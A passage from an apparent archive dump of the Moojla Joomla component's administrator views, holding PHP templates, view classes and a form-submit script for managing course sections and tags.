'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('section.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('section.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('section.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.section',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('section.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('section');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_SECTION_NEW' : 'COM_MOOJLA_SECTION_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/section.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/section/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/sections/index.html000064400000000054151165724410011532
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/sections/tmpl/default.php000064400000005522151165724410012653
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=sections.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'sectionList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=sections');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="sectionList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_SECTIONS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/sections/tmpl/default_batch_body.php000064400000002333151165724410015026
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo JText::_('COM_MOOJLA_SECTIONS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/sections/tmpl/default_batch_footer.php000064400000002731151165724410015371
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('section.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/sections/tmpl/default_body.php000064400000010134151165724410013663
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=sections&task=section.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('section',$item,'sections');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->courseid); ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->section_id); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'sections.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->section_id); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->name); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->visible); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->uservisible); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'sections.', true, 'cb');
?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'sections.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'sections.', true, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'sections.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/sections/tmpl/default_foot.php000064400000002304151165724410013675
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="9"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/sections/tmpl/default_head.php000064400000005535151165724410013640
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_COURSEID_LABEL', 'a.courseid',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_SECTION_ID_LABEL', 'a.section_id',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_NAME_LABEL', 'a.name',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_SECTION_VISIBLE_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo
JText::_('COM_MOOJLA_SECTION_USERVISIBLE_LABEL'); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_SECTION_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/sections/tmpl/default_toolbar.php000064400000007053151165724410014376
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Sections'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/sections/tmpl/index.html000064400000000054151165724410012506
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/sections/view.html.php000064400000017034151165724410012171
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Sections
*/
class MoojlaViewSections extends JViewLegacy
{
/**
* Sections view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('sections');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('section');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_SECTIONS'),
'briefcase');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=sections');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('section.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('section.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('sections.publish');
JToolBarHelper::unpublishList('sections.unpublish');
JToolBarHelper::archiveList('sections.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('sections.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'sections.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('sections.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('sections');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Courseid batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Courseid Selection
$this->courseidOptions =
JFormHelper::loadFieldType('sectionsfiltercourseid')->options;
// We do some sanitation for Courseid filter
if (MoojlaHelper::checkArray($this->courseidOptions) &&
isset($this->courseidOptions[0]->value) &&
!MoojlaHelper::checkString($this->courseidOptions[0]->value))
{
unset($this->courseidOptions[0]);
}
// Courseid Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_SECTION_COURSEID_LABEL').'
-',
'batch[courseid]',
JHtml::_('select.options', $this->courseidOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_SECTIONS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/sections.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.courseid' =>
JText::_('COM_MOOJLA_SECTION_COURSEID_LABEL'),
'a.section_id' =>
JText::_('COM_MOOJLA_SECTION_SECTION_ID_LABEL'),
'a.name' =>
JText::_('COM_MOOJLA_SECTION_NAME_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/tag/submitbutton.js000064400000002740151165724410011562
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('tag, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/tag/tmpl/edit.php000064400000011217151165724410011076
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'tagTab', array('active' => 'details'));
?>
<?php echo JHtml::_('bootstrap.addTab', 'tagTab',
'details', JText::_('COM_MOOJLA_TAG_DETAILS', true));
?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('tag.details_left',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('tag.details_right',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'tagTab'; ?>
